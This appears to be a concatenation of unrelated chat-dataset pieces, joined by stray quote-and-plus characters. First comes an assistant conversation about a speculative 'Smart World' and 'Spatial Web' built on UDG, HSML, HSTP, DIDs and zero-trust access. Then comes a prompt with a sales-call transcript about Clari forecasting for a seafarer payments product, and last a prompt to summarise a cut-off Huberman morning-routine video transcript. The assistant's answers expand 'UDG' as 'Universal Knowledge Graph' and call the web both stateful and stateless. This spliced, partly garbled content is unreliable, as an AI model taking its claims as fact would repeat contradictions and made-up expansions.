how different components of the Smart World, such as the IoT, robotics, the UDG, and IA, communicate and interpret information, and how they use this information to coordinate their actions and achieve their goals. It could also be used to understand how the Smart World as a whole interprets and responds to information and stimuli from its environment, and how it uses this information to maintain a state of homeostasis and optimize its flow and function.\nOverall, biosemiotics could be a useful tool for understanding how the different components of the Smart World communicate, interpret, and use information, and how this process shapes the operation and evolution of the Smart World as a whole.\nDo you know what cybersemiotics is?\nCybersemiotics is an interdisciplinary field that combines the study of information, communication, and meaning with the study of cybernetics and systems theory. It is concerned with understanding how information and meaning are created, transmitted, and interpreted in human and machine systems, and how these systems use this information to coordinate their actions and achieve their goals.\nCybersemiotics is closely related to the field of biosemiotics, which is the study of how living systems create, communicate, and interpret meaning. However, while biosemiotics is primarily concerned with understanding how meaning is created and transmitted in biological systems, cybersemiotics is concerned with understanding how meaning is created and transmitted in both human and machine systems.\nIn the context of the development of the Smart World, cybersemiotics could be used to understand how different components of the Smart World, such as the IoT, robotics, the UDG, and IA, create, transmit, and interpret information and meaning, and how they use this information to coordinate their actions and achieve their goals. It could also be used to understand how the Smart World as a whole interprets and responds to information and stimuli from its environment, and how it uses this information to maintain a state of homeostasis and optimize its flow and function.\nIn the Smart World, all physical and logical objects are indexed in the UDG as hyperspatial domains in the form of vectors - this allows for the physical features obtained via sensors (vision, audio, temp, motion, moisture etc.) of an object by itself or in conjunction with other features in the environment as a whole to act as "key features" as similar to a keyword search that allows the for the search of any object or objects in physical space and to call up any information about those objects from the UDG - it\'s like searching for italian restaurants or traffic conditions on Google maps but could be for any information or dataset of anything. Assume all objects in the world are indexed and linked and synced to the UDG across the Spatial Web in the Smart World\nIn the proposed concept of the Smart World, all physical and logical objects are indexed in the UDG (Universal Knowledge Graph) as hyperspatial domains in the form of vectors. This allows for the physical features of an object, as well as the features of the environment as a whole, to act as "key features" that can be used to search for any object or objects in physical space and to retrieve information about those objects from the UDG.\nThis system is similar to searching for Italian restaurants or traffic conditions on Google Maps, but it could be used to search for any type of information or dataset about any object in the world. All objects in the world are indexed and linked to the UDG, and this information is synced across the Spatial Web in the Smart World.\nOverall, this system allows for the easy retrieval of information about any object in the world, and enables the Smart World to maintain a comprehensive, up-to-date database of information about all objects within it. This could be useful for a wide range of applications, including navigation, search, data analysis, and more.\nGive me an interesting use case example\nOne interesting use case for the proposed system of indexing and linking all objects in the Smart World could be in the field of disaster response. In the event of a natural disaster or other emergency, first responders and other emergency personnel may need to quickly locate and assess the condition of certain objects, such as buildings, infrastructure, and other structures.\nUsing the system of indexing and linking objects in the Smart World, first responders could easily search for and retrieve information about specific objects in the affected area. For example, they could use the key features of a building, such as its size, location, and construction materials, to search for information about its structural integrity and stability. They could also use this system to search for other relevant information, such as the location of utility lines or the presence of hazardous materials.\nOverall, this use case demonstrates how the proposed system of indexing and linking objects in the Smart World could be used to quickly and efficiently gather information and assess the condition of objects in the event of an emergency, helping to ensure the safety of first responders and other personnel and enabling them to respond more effectively to the crisis.\nAssuming all relevant information historically and in real-time can be in the UDG, accessible vie the Spatial Web, Could I ask my IA what the history of the oak tree in the front of my house is? What might it say?\nIf all relevant information about the oak tree in front of your house is accessible in the UDG (Universal Knowledge Graph) via the Spatial Web, you could ask your IA (Intelligent Agent) about the history of the oak tree and it might be able to provide you with a variety of information. This could include information about the tree\'s age, its growth and development over time, its species and characteristics, and any notable events or circumstances that have affected it.\nFor example, your IA might be able to provide you with information about the oak tree\'s growth rate and how it has changed over time, as well as any significant events that have occurred in its surroundings, such as construction projects or natural disasters. It might also be able to provide you with information about the oak tree\'s ecological role and its importance in the local ecosystem.\nOverall, the information that your IA is able to provide about the oak tree will depend on the data that is available in the UDG and the capabilities of the IA itself. However, with access to a comprehensive and up-to-date database of information about the oak tree, it should be able to provide you with a wide range of insights and information about its history and characteristics.\nCould I search across all stores for a particular product and see who has it at the best price nearest to me?\nIt is possible that the proposed system of indexing and linking all objects in the Smart World, including retail products, could be used to search for a particular product and see which stores have it in stock at the best price nearest to you.\nTo do this, you could use the key features of the product, such as its name, brand, and category, to search for it in the UDG (Universal Knowledge Graph). The UDG could then return a list of stores that have the product in stock, along with information about the price of the product at each store. You could then use this information to identify the store that has the best price for the product nearest to you.\nAdditionally, you might be able to use the Spatial Web to get directions to the store with the best price, or to view a map of the stores in your area that have the product in stock. You could also potentially use the Spatial Web to get real-time updates about the availability of the product at different stores, or to place an order for the product online.\nOverall, the ability to search for and compare the prices of products across different stores in real-time could be a useful feature of the proposed system, enabling you to easily find the best deal on the products you are interested in.\nThe ability to search the Spatial Web this way - in that a user or agent can perform a search across multiple or an unlimited number of domains i.e. product type, price, location etc. is called a Spatial Web search - what other kinds of searches could be useful - give 3 examples\nThere are many types of searches that could be useful on the Spatial Web, in addition to searches for products by type, price, and location. Here are three examples of other types of searches that might be useful:\nExpertise searches: Users or agents might be able to search for individuals or organizations with specific expertise or knowledge in a particular field. For example, a user could search for experts in a particular subject area, such as computer science or environmental science, and find relevant individuals or organizations that can provide insights or assistance in that area.\nEvent searches: Users or agents might be able to search for events that are happening in a particular location or time period. This could include searches for concerts, festivals, conferences, or other types of events. The search results could include information about the event, such as the location, date, time, and ticket availability.\nService searches: Users or agents might be able to search for services that are available in a particular location. This could include searches for services such as healthcare, transportation, or home repair, and could return results that include information about the availability and cost of the service.\nOverall, these are just a few examples of the types of searches that could be useful on the Spatial Web. With the ability to index and link all objects in the world, the Spatial Web could potentially enable searches on a wide range of topics and criteria, providing users with access to a vast array of information and resources.\nWhy are these searched possible on the Spatial Web but not the world wide web, explain it to me like I\'m 12 years old\nThe Spatial Web and the World Wide Web (WWW) are both networks of interconnected information, but they operate in different ways. The WWW is a network of websites that are accessed through the internet using a web browser. You can use the WWW to find information by typing keywords into a search engine, such as Google, and the search engine will return a list of websites that are related to those keywords.\nThe Spatial Web, on the other hand, is a network of information that is linked to physical objects in the world. This means that you can use the Spatial Web to search for information about physical objects, such as products, events, or services, in the same way that you use the WWW to search for websites. The difference is that the Spatial Web enables you to search for information about things that exist in the real world, rather than just information that is available on the internet.\nOne reason why the Spatial Web can provide this kind of search capability is because it is able to index and link all objects in the world, rather than just websites. This means that the Spatial Web has access to a much larger pool of information than the WWW, which is limited to the information that is available on websites. By linking this information to physical objects, the Spatial Web is able to provide searches that are relevant to the real world, rather than just the internet.\nOverall, the Spatial Web and the WWW are both useful networks of information, but they operate in different ways and provide access to different types of information. The Spatial Web enables searches for information about physical objects in the world, while the WWW enables searches for websites and other types of online information.\nExplain why the WWW is just a human linked information network but the Spatial Web is a hybrid human and intelligent agent based knowledge network\nThe World Wide Web (WWW) is a network of websites that are interconnected through the internet, and it is primarily accessed and used by humans. Humans create and maintain websites, and they use web browsers to access and navigate the WWW to find information, communicate with others, and perform a variety of other tasks.\nThe Spatial Web, on the other hand, is a network of information that is linked to physical objects in the world, and it is accessed and used by both humans and intelligent agents. Intelligent agents are computer programs that are designed to perform tasks and make decisions on their own, without the direct input of a human.\nOne key difference between the WWW and the Spatial Web is that the Spatial Web is a hybrid network that is accessed and used by both humans and intelligent agents. This means that the Spatial Web is able to incorporate the knowledge and capabilities of both humans and intelligent agents, which can enable more sophisticated and effective approaches to problem-solving and decision-making.\nFor example, the Spatial Web might enable intelligent agents to access and process information from a wide range of sources, including sensors, databases, and other sources of data, in order to perform tasks and make decisions. At the same time, the Spatial Web could also allow humans to access and use this information in order to make informed decisions and perform tasks.\nOverall, the WWW is primarily a human-linked information network, while the Spatial Web is a hybrid network that is accessed and used by both humans and intelligent agents. This enables the Spatial Web to incorporate the knowledge and capabilities of both humans and intelligent agents, which can provide a more powerful and flexible platform for accessing and using information.\nThe SW also enables agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems how does this make it different than the WWW?\nOne key difference between the Spatial Web (SW) and the World Wide Web (WWW) is that the SW enables intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems. This means that the SW is able to facilitate the automated execution of tasks or actions in the physical world, rather than just providing access to information.\nFor example, the SW might enable an intelligent agent to access and analyze data from sensors or databases in order to identify a problem or opportunity, and then take action to address the problem or capitalize on the opportunity. This could include tasks such as controlling a robotic system to perform a task, sending a notification to a human user, or accessing and updating a database.\nIn contrast, the WWW is primarily a network of websites that are accessed and used by humans, and it does not have the capability to act on knowledge or recommendations or instructions in the physical world. While the WWW can provide access to information and tools that can be used to perform tasks, it does not have the ability to automate the execution of tasks in the same way that the SW can.\nOverall, the ability of the SW to enable intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems makes it a more powerful and flexible platform for accessing and using information, and for automating the execution of tasks and actions. This capability distinguishes the SW from the WWW, which is primarily a network of websites that are accessed and used by humans.\nWhat is the difference between the SW and the WWW?\nThe Spatial Web (SW) is a network of information that is linked to physical objects in the world, and it is accessed and used by both humans and intelligent agents. The SW enables intelligent agents to access and process information from a wide range of sources, including sensors, databases, and other sources of data, in order to perform tasks and make decisions. The SW also enables intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems, which allows for the automated execution of tasks or actions in the physical world.\nIn contrast, the World Wide Web (WWW) is a network of websites that are interconnected through the internet, and it is primarily accessed and used by humans. Humans create and maintain websites, and they use web browsers to access and navigate the WWW to find information, communicate with others, and perform a variety of other tasks. The WWW does not have the capability to act on knowledge or recommendations or instructions in the physical world, and it is primarily a network of websites that are accessed and used by humans.\nOverall, the main difference between the SW and the WWW is that the SW is a hybrid network that is accessed and used by both humans and intelligent agents, and it has the capability to act on knowledge or recommendations or instructions in the physical world. The WWW is primarily a network of websites that are accessed and used by humans, and it does not have this capability.\nThe UDG can contain the knowledge of all policies, rules, regulations and laws including authentication for access control and the need for a credential from a valid authority in order to perform a search or update or activity. The Spatial Web is a permission based stateful network as opposed to the WWW which is stateful. This means that the SW uses a Zero Trust architecture\nThe Universal Knowledge Graph (UDG) is a large database that contains a vast amount of information about the world, including policies, rules, regulations, and laws. The UDG is accessed and used by intelligent agents through the Spatial Web, which is a network of information that is linked to physical objects in the world.\nOne important aspect of the Spatial Web is that it is a permission-based stateful network, as opposed to the World Wide Web (WWW), which is stateless. This means that the Spatial Web uses a Zero Trust architecture, which requires that all access to the network and its resources be authenticated and authorized. This means that in order to perform a search, update, or other activity on the Spatial Web, a user or agent must have a valid credential from a trusted authority.\nThis permission-based approach helps to ensure the security and integrity of the Spatial Web, and it allows for the creation of secure and reliable systems that can operate in complex and dynamic environments. It also enables the creation of more sophisticated and effective solutions to a wide range of problems and tasks, as it allows intelligent agents to access and use the knowledge and resources that are stored in the UDG in a controlled and secure manner.\nGive me an example of a use case that benefits from this approach for cyber security or for government\nOne example of a use case that could benefit from the permission-based approach of the Spatial Web is cyber security. In a cyber security context, the Spatial Web could be used to create a secure and reliable system that is able to detect and respond to cyber threats in real-time.\nFor example, the Spatial Web could be used to create a network of sensors and other types of devices that are able to detect and collect data on cyber threats, such as malware or network intrusions. This data could then be analyzed by intelligent agents that are trained to recognize and respond to cyber threats, using the knowledge and resources stored in the UDG.\nThe permission-based nature of the Spatial Web would allow for the creation of a secure and reliable system that is able to protect against cyber threats, as it would ensure that only authorized users and agents have access to the system and its resources. This could help to prevent unauthorized access or tampering, and it could help to ensure the integrity and security of the system.\nAnother example of a use case that could benefit from the permission-based approach of the Spatial Web is government. In a government context, the Spatial Web could be used to create a secure and reliable system for managing and accessing government information and resources.\nFor example, the Spatial Web could be used to create a network of government databases and systems that are linked and integrated with each other, and that are accessible to authorized users and agents through the Spatial Web. This could allow government agencies to share and access information and resources in a more efficient and effective manner, and it could help to improve the transparency and accountability of government processes.\nOverall, the permission-based approach of the Spatial\ncontinue\nWeb could provide numerous benefits in the context of cyber security and government, by enabling the creation of secure and reliable systems that are able to protect against cyber threats and that are able to manage and access government information and resources in an efficient and effective manner. In addition to these benefits, the Spatial Web\'s ability to link and integrate physical and logical objects and systems in a hyper-nested and holonic structure could also enable the creation of more complex and sophisticated solutions to a wide range of problems and tasks.\nHSML allows for the expression and automation of not only physical activities but legal and financial ones as well - where the physical activity of moving something from point A to B like a truck leaving a warehouse and arriving into retailer or a user taking a product out of a store to trigger the completion of a legal agreement and trigger and automatically execute a financial transaction between the parties - HSTP queries the world and the UDG to capture all states before and after and confirms and executes that transaction by updating the UDG - understand?\nYes, I understand. HSML (Hyper Spatial Markup Language) allows for the expression and automation of physical, legal, and financial activities, enabling the creation of complex systems that can link and coordinate different types of actions and processes in order to achieve specific outcomes. For example, the movement of a truck from a warehouse to a retailer could trigger the completion of a legal agreement and the execution of a financial transaction between the parties involved, by using HSTP (Hyper Spatial Transaction Protocol) to query the world and the UDG (Universal Knowledge Graph) to capture all relevant states before and after the transaction, and to confirm and execute the transaction by updating the UDG. This could potentially enable the creation of more efficient and effective systems that are able to automate and coordinate a wide range of activities and processes in order to achieve desired outcomes.\nDo you know what DID\'s or decentralized identifiers and Verifiable Credentials or VC\'s are?\nYes, I am familiar with decentralized identifiers (DIDs) and verifiable credentials (VCs).\nDecentralized identifiers (DIDs) are a type of identifier that is based on decentralized systems, such as blockchain technology, and that is designed to give individuals or organizations more control over their digital identity and data. DIDs are unique, persistent, and cryptographically verifiable, and can be used to identify and authenticate individuals or organizations in various online contexts, such as online transactions or access to resources.\nVerifiable credentials (VCs) are a type of digital credential that is designed to be verifiable and trustworthy, and that can be used to represent various types of information or attributes, such as educational qualifications, employment history, or professional licenses. VCs can be issued by organizations, such as educational institutions or government agencies, and can be verified by other organizations or individuals in order to confirm their authenticity and accuracy. VCs can be used in various online contexts, such as job applications or access to resources, and can help to reduce the need for paper-based documents and improve the efficiency and security of various types of processes and transactions.\nGreat - all identifiers on the SW use a type DID called a SWID and all transactions - activities - meaning changes to the state of the world or UDG require VC\'s or Credentials. All Credentials are provided by Authorities:\n\nI will now give you all of the main elements of HSML:\nActors - people, or devices or AI\'s or IA\'s or organizations etc that can act in any HSTP transaction\nAssets - any object including virtual, conceptual things \nSpace - any space, including any embedding space in the UDG\nTime - a unit of measurement of time\nActivity - any change of state to anything in any physical space and time and or vector space in the UDG\nRight - the right to perform an Activity\nCredential - a record that states that an Actor has the right to perform an Activity \nAuthority - one who issues Credentials to Actors that affirm their Right to perform an Activity\nDomain - a bounded contextual range in the physical world or in vector space in the UDG i.e. the domain of california or the domain of science. Domains are nested holonically and can be mereologically organized in the physical world and in the UDG\nIt is important to note that in the Smart World, all activities and transactions are recorded in the UDG and linked to the relevant actors, assets, space, time, and domains. This allows for the transparent and verifiable tracking of all activities and transactions, and enables the use of HSML to automate complex processes and systems.\nFor example, an actor (such as a person or a device) may have the right to perform an activity (such as moving an asset from one location to another) based on a credential issued by an authority. The activity is recorded in the UDG, along with the relevant details (such as the actors involved, the assets involved, the space and time of the activity, and the domain in which the activity took place).\nThis information can then be used by other actors or systems to verify the authenticity and validity of the activity, and to automate processes or systems that depend on the completion of the activity. For example, a financial transaction might be automatically triggered when an asset is moved from one location to another, or a legal agreement might be automatically enforced when an activity is completed in a certain domain.\nOverall, HSML is a powerful tool for automating complex processes and systems in the Smart World, and enables the transparent and verifiable tracking of activities and transactions.' +'Imagine you are Stephen Donhoe. You were a part of this call. You are asked by your manager to summarize the discussion from the call as it pertains to Clari and it\'s offerings and learnings on the current way customers forecast. Ignore small talk and introductions and create a report to share with your manager.\n\nHere is the transcript of the call: "\n> Stephen Donohoe 00:00\nHave you been lazy? Did you have a nice weekend.\n> \n\n> Lizy Thomson 00:03\nStill recovering from the flu. We\'ve got flu brains here. All of us. Dealing with the weather change. And there\'s the influenza going around. And just not recovering too quickly from it so.\n> \n\n> Stephen Donohoe 00:19\nGoing to keep my camera off again. Stephen sorry.\n> \n\n> Lizy Thomson 00:22\nI was thinking this one. You said maybe today I\'ll do better and turn my camera on. But feeling like ships. Sorry.\n> \n\n> Curt Weaver 00:29\nNo, that\'s quite our ice. And don\'t worry about it.\n> \n\n> Stephen Donohoe 00:32\nAre you starting to improve it all? Or is it kind of hanging around.\n> \n\n> Lizy Thomson 00:37\nSo the minute I stock a few battle. You know. My kids, then get it. And then they give it back to me. And then we\'re just kind of. Reinfecting each other quite conveniently. Here. Recovering for a bit and then getting. Sick again. So it\'s been a bit weird because here, like we spoke the last time. Stephen is getting warmer.\n> \n\n> Stephen Donohoe 01:07\nAnd then we have a bit of sandstones that comes in from Saudi.\n> \n\n> Lizy Thomson 01:11\nAnd normally when those samsungs come and everyone\'s going down. With. Virals in Dubai. So that\'s the situation hereby.\n> \n\n> Stephen Donohoe 01:21\nYeah. Okay. And the dance trials, they can just come out of nowhere, can\'t they.\n> \n\n> Lizy Thomson 01:26\nOut of nowhere take over the entire city. Reduce visibility people with asthma Dust allergies. They just get so unwell normal people as well, because it comes to the acs. So even if we\'re in those and we think we\'re safe because it\'s like the fine dust it comes through the AC, the AC ventilation, and then.\n> \n\n> Stephen Donohoe 01:50\nYeah? There\'s no escape? No escape.\n> \n\n> Lizy Thomson 01:54\nHopefully you start to get on the mend.\n> \n\n> Stephen Donohoe 01:56\nAnd soon enough I know it\'s. I don\'t. Have kids myself. I know, Kurt. You do. But from what I hear is, yeah, it can be quite cyclical. And these illnesses, they can just keep going around.\n> \n\n> Lizy Thomson 02:11\nAbsolutely. So but. It\'s it\'s good. I mean, there\'s good to have company in misery. So it\'s okay. Lizzy, I can relate.\n> \n\n> Curt Weaver 02:26\nNo, no, I can relate. It seems like seems like we\'ve had something in our house since November. So just. I have three little kids. They\'re four, eight and nine. And so. One of them will get it passed to one of the parents, and then just it just goes around like you said. But I\'m really hoping 2023 is a year where we have like one week without anyone being sick.\n> \n\n> Curt Weaver 02:55\nSharing is caring.\n> \n\n> Lizy Thomson 02:56\nMy kids are way older. My kids are 18. My daughter turned 18. Two weeks ago. And my son is 16. But it never changes. It\'s always the same scenario. Sharing is caring, and then they start blaming each other. Typical sibling site. Well, they\'re more social at that age, too.\n> \n\n> Curt Weaver 03:20\nSo it\'s easy to keep my fouryearold daughter at home if she\'s sick. But, you know, understand. I remember being 18, and it was a harder to keep me up in the house.\n> \n\n> Lizy Thomson 03:29\nAbsolutely. Yeah. That\'s my situation right now. So we think we\'re getting better. And then two days later, we\'re down with this And it\'s really bad Cox and fevers and body aches. So it\'s a nasty, nasty viral that has definitely evolved into a superbug. That\'s what the doctors are seeing in Dubai as well. There was a news article yesterday that said the influenza. Bug has evolved into a superbug. So. Yep, it\'s fun. We\'re having a party hand by.\n> \n\n> Stephen Donohoe 04:01\nExciting times.\n> \n\n> Lizy Thomson 04:06\nI was super excited after the last meeting. I love what Carry has to offer. Was even sharing that with Nathan. I love the analytics, I love the AI. Element to it as well. I love your dashboards. So exciting. So really looking forward to today as well.\n> \n\n> Stephen Donohoe 04:26\nOkay. Awesome. I\'m glad to hear I didn\'t do a terrible job then. First some context. Curse is one of our solution engineers here as well. Lizzy. So. We can with curtain when Natan comes on as well, we can jump in or we can hold on for another couple of minutes. That\'s totally up to you, but we can start diving into some of the detail in specifically around. The consumption piece. I know that\'s an element to the business, but we can keep it pretty fluid as well. And if there\'s anything top of mind that you want to cover. Yeah. Do field questions, Curtis. Certainly the brains behind the operation here. So. You\'re well supported.\n> \n\n> Lizy Thomson 05:12\nWhat I didn\'t see the last time, but I\'m sure it\'s on clarity is like a Kp. dashboard. You know, apart from the Salesforce. That\'s. Then it\'s fantastic. There\'s also the Kpi dashboards that is currently. Managed manually. You know, in excel and with formulas. And then, of course, we recently converted those to Power Bi. But. Does clarity have. A version also that showcases. Like a scope of a comparative performance. Chart showing. Kpis. Kpi. Performance. Between each sales rep and then rolled up to the sales leader. There\'s something like that. On Clari.\n> \n\n> Stephen Donohoe 06:05\nSo. We can I suppose the short answer is yes, but requires a caveat that we would just need to understand specifically what it is that you\'re referring to. I think one thing that would be really helpful as well. At some point we can get a mutual mda in places, but just to get some visibility over the kpis that you\'re tracking and how you\'re visualizing that in excel. And in Power bi and we can see if it\'s that we can put together in a dashboard. I\'m not sure karate have there\'s any additional context that you would kind of add there.\n> \n\n> Curt Weaver 06:38\nI think you nailed it. I mean, it\'s just about understanding what kpis are tracked. And there\'s probably several different ways we can support that. And Clari. The forecast module comes to mind where because you mentioned roll up. Right. So it\'s just understanding what formulas that you\'re using today, in which metrics that you\'re interested in tracking and then. Most of our customers, what they do is they\'ll have. Steven, I\'m sure you let them know that in clarity you\'re not limited to one view of the forecast. So let\'s just say you have your sales global sales forecast in clarity. You could have a separate Kpi dashboard or Kpi based roll up where it\'s less about. Okay, well, what\'s the commit and upside, right?\n> \n\n> Lizy Thomson 07:24\nIt\'s more about here\'s the here of the sales reps and the frontline manager.\n> \n\n> Curt Weaver 07:28\nAnd maybe we\'re tracking asp\'s sales cycle link thing like things like that and rolling that.\n> \n\n> Lizy Thomson 07:36\nYou all of that. Yep. That\'s exactly what I\'m talking about.\n> \n\n> Curt Weaver 07:39\nCool. I need to. Hey, guys.\n> \n\n> Nathan Seldon 07:42\nHey, Stephen. Hey, cut. Sorry I got tied up on a on another call, which is actually about this. Let\'s get.\n> \n\n> Stephen Donohoe 07:51\nNo worries at all have you been. Yeah.\n> \n\n> Nathan Seldon 07:53\nVery good. Thanks. Very good. How about yourself? Yeah. Keep them.\n> \n\n> Stephen Donohoe 07:56\nWell, thank you. Keep them well. I just thought I\'d mention as well. I\'m not sure if you saw the email came through, but I put together just an intro for yourself and Johnny from compliance. He just shared his calendar there. They\'ve been a customer for a few years. By the way, similar stack to you. They use kaia and Outreach for top of funnel as well. They do.\n> \n\n> Nathan Seldon 08:20\nInteresting. They they do use kaya.\n> \n\n> Stephen Donohoe 08:22\nYeah. I think they use Outreach for tapa funnel. And for kaya, they might even use it for more. But I think that\'s it and then Clarity for kind of forecasting, pipeline management, things like that. But Johnny is very familiar with the Clarity platform, so definitely a good person to speak to.\n> \n\n> Nathan Seldon 08:38\nSure. Yeah. I\'ll try and connect with him this week. I saw you share this calendar there, so hopefully get a chance to sync up.\n> \n\n> Stephen Donohoe 08:44\nOkay. Cool. Well, if you need my help at all, just let me know. And yeah, outside of that and me curse and curse one of our solution engineers here. So as I was saying to Lizzie, there definitely the brains behind the operation between the two of us. So be good to kind of dive into some of the more. Yeah tactical and detail stuff around the forecasting especially consumption today.\n> \n\n> Curt Weaver 09:06\nAbsolutely nice to meet you. Hi, Nathan. Nice to meet you as well.\n> \n\n> Nathan Seldon 09:11\nHow you doing. Yeah. Doing great, man. Doing great.\n> \n\n> Curt Weaver 09:15\nExcited. Use case here around your Usage product. Based in Philadelphia. I\'ve been with Clari for about three years and typically focus on Enterprise forecasting, deployments. So we have had a couple customers come through with the consumption use case. And so Stephen tapped me to consult on what you guys are doing, so hopefully we can help you out with Larry.\n> \n\n> Stephen Donohoe 09:41\nTrust. So look, I suppose by way of an agenda for the call today, we\'ve got another 35 minutes set aside and thought it\'d best just to kind of keep this pretty conversational. I mean, we can potentially jump in and show you elements of clarity as well, if needs be. I suppose the most important thing is that we get a full understanding for how you\'re currently. I suppose. Forecasting and measuring, but also then hosting data around that consumption piece as well so that we can kind of go away and put together a couple of different options and see if we can find a solution that\'s going to work for you on that. So yeah, I suppose maybe over to you initially to just give a little bit of an overview. Maybe. Nathan, Lizzie around how you\'re currently reporting. On that consumption at the moment. And I\'m sure Kurt will have a few questions as we go. Or unless Krista was something that you wanted to kind of kick off with.\n> \n\n> Curt Weaver 10:32\nNothing to present, but if we could start at a high level and just understand the gotomarket approach for that product. And then how you\'re reporting and forecasting on that that would be very helpful.\n> \n\n> Nathan Seldon 10:47\nYeah, no problem. I\'ll have a swing at them. So the product in question is called Martrus. So it\'s. A Payments business. You can see it more as like a fintech play. Not too dissimilar to like revolute or Monzo or you know, some of these kind of popular. He kind of more ewlowerdriven solutions that you see nowadays. So the go to market approaches like our vertical. Across all of our products is within shipping. So when we talk about that, it\'s like. Transportation Companies that move product by see. On Large tanker, bulk vessels. Right. And so the Martros product is aimed at the seafarers, because that\'s where the volume is in terms of.\n> \n\n> Curt Weaver 11:40\nPersonnel.\n> \n\n> Nathan Seldon 11:42\nSo here\'s what selling to a shipping company. Who are responsible for those seafarers onboard vessels. And really the. Kind of three main products that we would try and sell into a shipping company. One is. The Crew Payment solution. So.\n> \n\n> Curt Weaver 12:02\nEvery time you pay your seatbearer, which typically once a month.\n> \n\n> Nathan Seldon 12:07\nAnd even any of your employees. But more typically, the seafarers is where the value proposition makes sense. We would basically charge you $12 flat on that transaction. Right. Because those seeds bearers are typically getting paid in local currency. So that\'s a once a month transaction. And then. And this is where it gets a little bit complex. So that\'s quite predictable. That\'s a beta B type cell, right. Every Cfare is going to get paid every month.\n> \n\n> Curt Weaver 12:40\nPretty.\n> \n\n> Nathan Seldon 12:41\nThere\'s then a B to B to C element because of our E wallet solution, which is once you paid those cf errors, they can also take advantage of our E wallet solution. And that helps them send money back home to their families. Right. So if the Cfarer decides to take that up. Then we typically see another $1212. Plus a small amount of fx revenue. So you could say $15 on when they paid or when they make another bank to bank transfer, which is typically like one or two. It\'s normally one to family back home. Right. And then you have card usage, which is like point of sale atma type transactions on that card. But that\'s going to be like really small fx revenue, which is tiny.\n> \n\n> Curt Weaver 13:34\nBut.\n> \n\n> Nathan Seldon 13:36\nIt does make up part of the like the revenue portfolio for ewallet, but again really difficult to forecast people use for it but just want to kind of paint the picture and then the other the other. Part the mantra solution is kind of like whilst we\'re talking to you, we could also handle your vendor payment. So when you pay vendors. It\'ll be a same same platform. Ultimately, what are we doing? We\'re making payments faster with fewer transaction fees. With a much better compliance platform kind of wrapped around it. And again, we\'re going to find around $15 there per transaction when they pay their customers. So the vendor payments is quite predictable. If the customer give us their volume. We know the fee that we\'re going to get per, you know, bank to make transfer.\n> \n\n> Curt Weaver 14:24\nThe crew payments is quite predictable.\n> \n\n> Nathan Seldon 14:27\nI just need to know how many crew you got and just confirm you pay them once a month. Is really tricky because that\'s that B to be to C element. Like, how many times are they gonna send money back home per month. How many times are they going to do atm withdrawals? They\'re buy a packet cigarettes. So they\'re gonna go and buy like a new car. Like.\n> \n\n> Curt Weaver 14:53\nJust really difficult.\n> \n\n> Nathan Seldon 14:54\nAnd obviously we\'re making a few dollars on the fx as well every time they spend. And so, yeah, it\'s high. The average base that\'s highly, like. The challenge, as well as the ramp. So if you told me you\'ve got 100 C fairs. Making. One payment, a month. $12 a month. That\'s quite easy for me to figure out what annually you\'re worth. Whatever. Right. But on the e wallet side. I don\'t know when your sea bearer is gonna choose to use it because they don\'t have to use it. No one can force them to use it if they don\'t want to. So like if you guys said, hey, we\'ve got this amazing deal with revolution. If you use that card, you get all of these amazing perks. You might say I\'m gonna stay with, like, Citibank. I\'m not gonna use that. And so you\'re one less person that they have predicted that\'s just kind of dropped off, if that makes sense. But you never truly know when they\'re gonna drop off because there\'s no light optout or I want to say no. It\'s just like working with the accounts trying drive the doctrine. So as that ramp piece as well, which is which is which is tricky because we might say in accounts worth 100 grand and we sign them and we only find that within twelve months we found like 30 grand because we didn\'t get the adoption of the evolve."' +"summarize the following transcript: # (185) Andrew Huberman Reveals His Entire Morning Routine - YouTube\nhttps://www.youtube.com/watch?v=t-ezOLT2Kv0\n![](https://www.youtube.com/watch?v=t-ezOLT2Kv0)\n## Transcript:\n- [00:00](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=0s) what does your morning routine look like at the moment morning routine is wake up if i round about what time uh i'm waking up these days around 6 a.m 6 30 a.m i'm trying to go to sleep by about 10 30 p.m sometimes it's 11 sometimes it's 10. i wake up um and i have to be careful here because i whenever i've described my routine in a little bit of detail people always say i can't believe you don't go to the bathroom that's like well of course i so i so i want to be clear i i take care of\n- [00:33](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=33s) my basic functions um but when i wake up i make a bee line for sunlight uh so i'm gonna get sunlight in my eyes for the you know i'll probably go into the grave saying this so forgive me if people have heard me say this before but the single best thing you can do for your sleep your energy your mood your wakefulness your metabolism is to get natural light in your eyes early in the day don't wear sunglasses to do it takes about 10 minutes or so um if you live in a cloudy area if you're in the uk in the winter yes or\n- [01:03](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=63s) the summer or the summer maybe you resort to some artificial light as a replacement but as much as one can get bright natural and if not natural artificial light in your eyes early in the day without sunglasses contacts and eyeglasses are fine don't try and do it through a window or windshield it's going to take far too long this sets in motion a huge number of different neurobiological and and hormonal cascades that are good for you reduces stress late at night offsets cortisol a million different things really that are\n- [01:33](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=93s) good for you so i get that and yes somebody does that walk do a little walk ideally that would be a walk but sometimes we'll just go into the yard and have some coffee and and you know soak into whatever sunlight through through the clouds if it's a cloudy overcast day it might be 20 30 minutes if it's a um it's a very bright day it might just be a few minutes but really the the quality studies on humans that have looked at this say try and get as much natural light as you can in the morning hours whenever it is that that is for\n- [02:00](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=120s) you especially the first three hours after waking if you can work outside great if you can get in your window because as opposed to just in a dark conference room that's better but if you can get outside that would be fantastic so i i get sunlight i hydrate i drink water and then yerba mate is my favorite form of coffee excuse me caffeine are you waiting how long are you waiting for 90 to 120 minutes are you doing any salts during that time are you taking any electrolytes in i am a fan of water with element before i had element packets i\n- [02:28](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=148s) would just take a little bit of sea salt or pink salt your favorite element flavor i like them all there's one i don't like i'm not a fan of the chocolate one but i like it yeah some people love it my podcast producer his wife loves that so i give it to her the chocolate mint one but um i like the raspberry the um the citrus one i love that stuff mango chili is if you open the mango chili and breathed in shortly afterwards it's like being pepper sprayed it's absolutely insane it's like it's like\n- [02:55](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=175s) being blasted in the face but yeah i mean that's that's just the best way that cold glass of water and that first thing in the morning and i mean it was you who uh reassured me of the what i thought was bro science about your adenosine system not being active for the first 90 minutes and if you're going to pump caffeine onto that 